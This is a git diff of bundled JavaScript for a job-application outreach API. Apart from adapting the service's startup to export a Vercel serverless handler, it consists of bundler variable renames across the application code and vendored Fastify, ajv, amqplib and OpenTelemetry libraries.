idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -79538,18 +79553,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -79899,12 +79914,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79914,8 +79929,8 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); @@ -79962,35 +79977,35 @@ function toMessage(row) { created_at: row.createdAt }; } -async function findById(db, messageId) { - const [row] = await db.select().from(schema_exports.messages).where(eq(schema_exports.messages.messageId, messageId)).limit(1); +async function findById(db2, messageId) { + const [row] = await db2.select().from(schema_exports.messages).where(eq(schema_exports.messages.messageId, messageId)).limit(1); return row ?? null; } -async function findByUserAndIdempotencyKey(db, userId, idempotencyKey) { - const [row] = await db.select().from(schema_exports.messages).where(and(eq(schema_exports.messages.userId, userId), eq(schema_exports.messages.idempotencyKey, idempotencyKey))).limit(1); +async function findByUserAndIdempotencyKey(db2, userId, idempotencyKey) { + const [row] = await db2.select().from(schema_exports.messages).where(and(eq(schema_exports.messages.userId, userId), eq(schema_exports.messages.idempotencyKey, idempotencyKey))).limit(1); return row ?? null; } -async function insertMessage(db, input) { - const [row] = await db.insert(schema_exports.messages).values({ ...input, status: "draft" }).returning(); +async function insertMessage(db2, input) { + const [row] = await db2.insert(schema_exports.messages).values({ ...input, status: "draft" }).returning(); if (!row) throw new Error("insertMessage: insert returned no row"); return row; } -async function setScheduled(db, messageId, scheduledFor) { - const [row] = await db.update(schema_exports.messages).set({ status: "scheduled", scheduledFor }).where(eq(schema_exports.messages.messageId, messageId)).returning(); +async function setScheduled(db2, messageId, scheduledFor) { + const [row] = await db2.update(schema_exports.messages).set({ status: "scheduled", scheduledFor }).where(eq(schema_exports.messages.messageId, messageId)).returning(); if (!row) throw new Error("setScheduled: message disappeared mid-update"); return row; } var CLAIMABLE_STATUSES = ["draft", "scheduled", "failed"]; -async function claimForSending(db, messageId) { - const [row] = await db.update(schema_exports.messages).set({ status: "sent", sentAt: (/* @__PURE__ */ new Date()).toISOString() }).where(and(eq(schema_exports.messages.messageId, messageId), inArray(schema_exports.messages.status, CLAIMABLE_STATUSES))).returning(); +async function claimForSending(db2, messageId) { + const [row] = await db2.update(schema_exports.messages).set({ status: "sent", sentAt: (/* @__PURE__ */ new Date()).toISOString() }).where(and(eq(schema_exports.messages.messageId, messageId), inArray(schema_exports.messages.status, CLAIMABLE_STATUSES))).returning(); return row ?? null; } -async function setFailed(db, messageId) { - const [row] = await db.update(schema_exports.messages).set({ status: "failed" }).where(eq(schema_exports.messages.messageId, messageId)).returning(); +async function setFailed(db2, messageId) { + const [row] = await db2.update(schema_exports.messages).set({ status: "failed" }).where(eq(schema_exports.messages.messageId, messageId)).returning(); if (!row) throw new Error("setFailed: message disappeared mid-update"); return row; } -async function listForUser(db, userId, pagination) { +async function listForUser(db2, userId, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorCreatedAt = typeof cursorValue?.createdAt === "string" ? cursorValue.createdAt : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -80002,7 +80017,7 @@ async function listForUser(db, userId, pagination) { ); if (tieBreak) conditions.push(tieBreak); } - const rows = await db.select().from(schema_exports.messages).where(and(...conditions)).orderBy(desc(schema_exports.messages.createdAt), desc(schema_exports.messages.messageId)).limit(pagination.limit + 1); + const rows = await db2.select().from(schema_exports.messages).where(and(...conditions)).orderBy(desc(schema_exports.messages.createdAt), desc(schema_exports.messages.messageId)).limit(pagination.limit + 1); const hasMore = rows.length > pagination.limit; const items = hasMore ? rows.slice(0, pagination.limit) : rows; const last = items[items.length - 1]; @@ -80013,8 +80028,8 @@ async function listForUser(db, userId, pagination) { } // services/outreach/src/repo/lookups.ts -async function findApplicationOwnedBy(db, applicationId, userId) { - const [row] = await db.select({ +async function findApplicationOwnedBy(db2, applicationId, userId) { + const [row] = await db2.select({ applicationId: schema_exports.applications.applicationId, userId: schema_exports.applications.userId, jobId: schema_exports.applications.jobId, @@ -80022,20 +80037,20 @@ async function findApplicationOwnedBy(db, applicationId, userId) { }).from(schema_exports.applications).where(and(eq(schema_exports.applications.applicationId, applicationId), eq(schema_exports.applications.userId, userId))).limit(1); return row ?? null; } -async function findJobById(db, jobId) { - const [row] = await db.select({ title: schema_exports.jobs.title, companyId: schema_exports.jobs.companyId, skills: schema_exports.jobs.skills }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); +async function findJobById(db2, jobId) { + const [row] = await db2.select({ title: schema_exports.jobs.title, companyId: schema_exports.jobs.companyId, skills: schema_exports.jobs.skills }).from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); return row ?? null; } -async function findCompanyName(db, companyId) { - const [row] = await db.select({ name: schema_exports.companies.name }).from(schema_exports.companies).where(eq(schema_exports.companies.companyId, companyId)).limit(1); +async function findCompanyName(db2, companyId) { + const [row] = await db2.select({ name: schema_exports.companies.name }).from(schema_exports.companies).where(eq(schema_exports.companies.companyId, companyId)).limit(1); return row?.name ?? null; } -async function findContactById(db, contactId) { - const [row] = await db.select({ fullName: schema_exports.contacts.fullName, title: schema_exports.contacts.title }).from(schema_exports.contacts).where(eq(schema_exports.contacts.contactId, contactId)).limit(1); +async function findContactById(db2, contactId) { + const [row] = await db2.select({ fullName: schema_exports.contacts.fullName, title: schema_exports.contacts.title }).from(schema_exports.contacts).where(eq(schema_exports.contacts.contactId, contactId)).limit(1); return row ?? null; } -async function findCandidateSummary(db, userId) { - const [row] = await db.select({ parsedProfile: schema_exports.resumes.parsedProfile }).from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.status, "parsed"))).orderBy(desc(schema_exports.resumes.parsedAt)).limit(1); +async function findCandidateSummary(db2, userId) { + const [row] = await db2.select({ parsedProfile: schema_exports.resumes.parsedProfile }).from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.status, "parsed"))).orderBy(desc(schema_exports.resumes.parsedAt)).limit(1); if (!row?.parsedProfile) return null; return { fullName: row.parsedProfile.full_name, @@ -80046,8 +80061,8 @@ async function findCandidateSummary(db, userId) { // services/outreach/src/http/routes/create-message.ts var UNIQUE_VIOLATION = "23505"; var idempotencyKeySchema = external_exports.string().min(8).max(200); -function createMessageRoute(app, deps) { - app.post("/v1/messages", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function createMessageRoute(app2, deps) { + app2.post("/v1/messages", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const rawKey2 = request.headers[IDEMPOTENCY_HEADER]; if (typeof rawKey2 !== "string" || rawKey2.length === 0) { @@ -80128,8 +80143,8 @@ function createMessageRoute(app, deps) { // services/outreach/src/http/routes/get-message.ts var paramsSchema = external_exports.object({ id: uuidSchema }); -function getMessageRoute(app, deps) { - app.get("/v1/messages/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function getMessageRoute(app2, deps) { + app2.get("/v1/messages/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); const row = await findById(deps.db, id); @@ -80142,8 +80157,8 @@ function getMessageRoute(app, deps) { } // services/outreach/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -80157,8 +80172,8 @@ function healthRoute(app, deps) { } // services/outreach/src/http/routes/list-messages.ts -function listMessagesRoute(app, deps) { - app.get("/v1/messages", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function listMessagesRoute(app2, deps) { + app2.get("/v1/messages", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const query = paginationQuerySchema.parse(request.query); const { items, nextCursor } = await listForUser(deps.db, actor.user_id, query); @@ -80169,8 +80184,8 @@ function listMessagesRoute(app, deps) { // services/outreach/src/http/routes/schedule-message.ts var paramsSchema2 = external_exports.object({ id: uuidSchema }); -function scheduleMessageRoute(app, deps) { - app.post("/v1/messages/:id/schedule", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function scheduleMessageRoute(app2, deps) { + app2.post("/v1/messages/:id/schedule", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema2.parse(request.params); const body = scheduleMessageRequestSchema.parse(request.body); @@ -80192,8 +80207,8 @@ function scheduleMessageRoute(app, deps) { // services/outreach/src/http/routes/send-message.ts var paramsSchema3 = external_exports.object({ id: uuidSchema }); -function sendMessageRoute(app, deps) { - app.post("/v1/messages/:id/send", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function sendMessageRoute(app2, deps) { + app2.post("/v1/messages/:id/send", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const { id } = paramsSchema3.parse(request.params); const row = await findById(deps.db, id); @@ -80230,7 +80245,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -80239,14 +80254,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("outreach-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -80277,19 +80292,19 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - createMessageRoute(app, deps); - listMessagesRoute(app, deps); - getMessageRoute(app, deps); - scheduleMessageRoute(app, deps); - sendMessageRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + createMessageRoute(app2, deps); + listMessagesRoute(app2, deps); + getMessageRoute(app2, deps); + scheduleMessageRoute(app2, deps); + sendMessageRoute(app2, deps); + return app2; } // services/outreach/src/env.ts @@ -80312,10 +80327,10 @@ function loadOutreachServiceEnv(source = process.env) { } // services/outreach/src/lib/transport.ts -function createLocalTransport({ logger }) { +function createLocalTransport({ logger: logger2 }) { return { async send(message2) { - logger.info( + logger2.info( { messageId: message2.message_id, channel: message2.channel, subject: message2.subject }, 'outreach message "sent" via local transport (no real delivery)' ); @@ -80330,20 +80345,21 @@ function createTransport(options) { } // services/outreach/src/index.ts -async function main() { - const env = loadOutreachServiceEnv(); - const logger = createLogger({ service: "outreach-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const tokenVerifier = createTokenVerifierConfig(env); - const transport = createTransport({ driver: env.OUTREACH_TRANSPORT_DRIVER, logger }); - const app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier, transport }); +var env = loadOutreachServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "outreach-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var tokenVerifier = createTokenVerifierConfig(env); +var transport = createTransport({ driver: env.OUTREACH_TRANSPORT_DRIVER, logger }); +var app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier, transport }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await app.close(); @@ -80355,10 +80371,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/profile/index.js b/api/profile/index.js index 178fb74..79aa0c0 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module2.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module2.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module2.exports.methodName = function(id) { @@ -24764,8 +24764,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module2.exports = { LogController }; @@ -24812,20 +24812,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -24868,22 +24868,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -24898,17 +24898,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -24930,8 +24930,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -25342,8 +25342,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -31131,20 +31131,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env2) { + constructor(env3) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env2.schema == "object") - schema = env2.schema; - this.schema = env2.schema; - this.schemaId = env2.schemaId; - this.root = env2.root || this; - this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); - this.schemaPath = env2.schemaPath; - this.localRefs = env2.localRefs; - this.meta = env2.meta; + if (typeof env3.schema == "object") + schema = env3.schema; + this.schema = env3.schema; + this.schemaId = env3.schemaId; + this.root = env3.root || this; + this.baseId = (_a3 = env3.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env3.schemaId || "$id"]); + this.schemaPath = env3.schemaPath; + this.localRefs = env3.localRefs; + this.meta = env3.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -31328,15 +31328,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env2; + let env3; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env2 = resolveSchema.call(this, root2, $ref); + env3 = resolveSchema.call(this, root2, $ref); } const { schemaId } = this.opts; - env2 = env2 || new SchemaEnv({ schema, schemaId, root: root2, baseId }); - if (env2.schema !== env2.root.schema) - return env2; + env3 = env3 || new SchemaEnv({ schema, schemaId, root: root2, baseId }); + if (env3.schema !== env3.root.schema) + return env3; return void 0; } } @@ -33023,13 +33023,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -33134,8 +33134,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; - const { root: root2 } = env2; + const { baseId, schemaEnv: env3, validateName, opts, self: self2 } = it; + const { root: root2 } = env3; if (($ref === "#" || $ref === "#/") && baseId === root2.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root2, baseId, $ref); @@ -33145,8 +33145,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env2 === root2) - return callRef(cxt, validateName, env2, env2.$async); + if (env3 === root2) + return callRef(cxt, validateName, env3, env3.$async); const rootName = gen.scopeValue("root", { ref: root2 }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root2, root2.$async); } @@ -33176,14 +33176,14 @@ var require_ref = __commonJS({ exports2.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env2, opts } = it; + const { allErrors, schemaEnv: env3, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env2.$async) + if (!env3.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -47683,7 +47683,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -47701,7 +47701,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -47845,7 +47845,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -47983,7 +47983,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -47991,7 +47991,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -48116,10 +48116,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -48184,7 +48184,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -48280,7 +48280,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -50989,7 +50989,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -51067,13 +51067,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -53781,11 +53781,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -53831,17 +53831,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -53884,16 +53884,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -53904,7 +53904,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -85654,7 +85654,7 @@ var require_html_writer = __commonJS({ } start = false; } - function close(tagName) { + function close2(tagName) { if (indentedElements[tagName]) { indentationLevel--; indent(); @@ -85697,7 +85697,7 @@ var require_html_writer = __commonJS({ return { asString: writer2.asString, open, - close, + close: close2, text: text2, selfClosing }; @@ -85708,7 +85708,7 @@ var require_html_writer = __commonJS({ var attributeString = generateAttributeString(attributes); fragments.push("<" + tagName + attributeString + ">"); } - function close(tagName) { + function close2(tagName) { fragments.push(""); } function selfClosing(tagName, attributes) { @@ -85732,7 +85732,7 @@ var require_html_writer = __commonJS({ return { asString, open, - close, + close: close2, text: text2, selfClosing, _append: append @@ -85857,7 +85857,7 @@ var require_markdown_writer = __commonJS({ fragments.push(''); } } - function close(tagName) { + function close2(tagName) { var element = elementStack.pop(); list = element.list; var end = _3.isFunction(element.end) ? element.end() : element.end; @@ -85865,7 +85865,7 @@ var require_markdown_writer = __commonJS({ } function 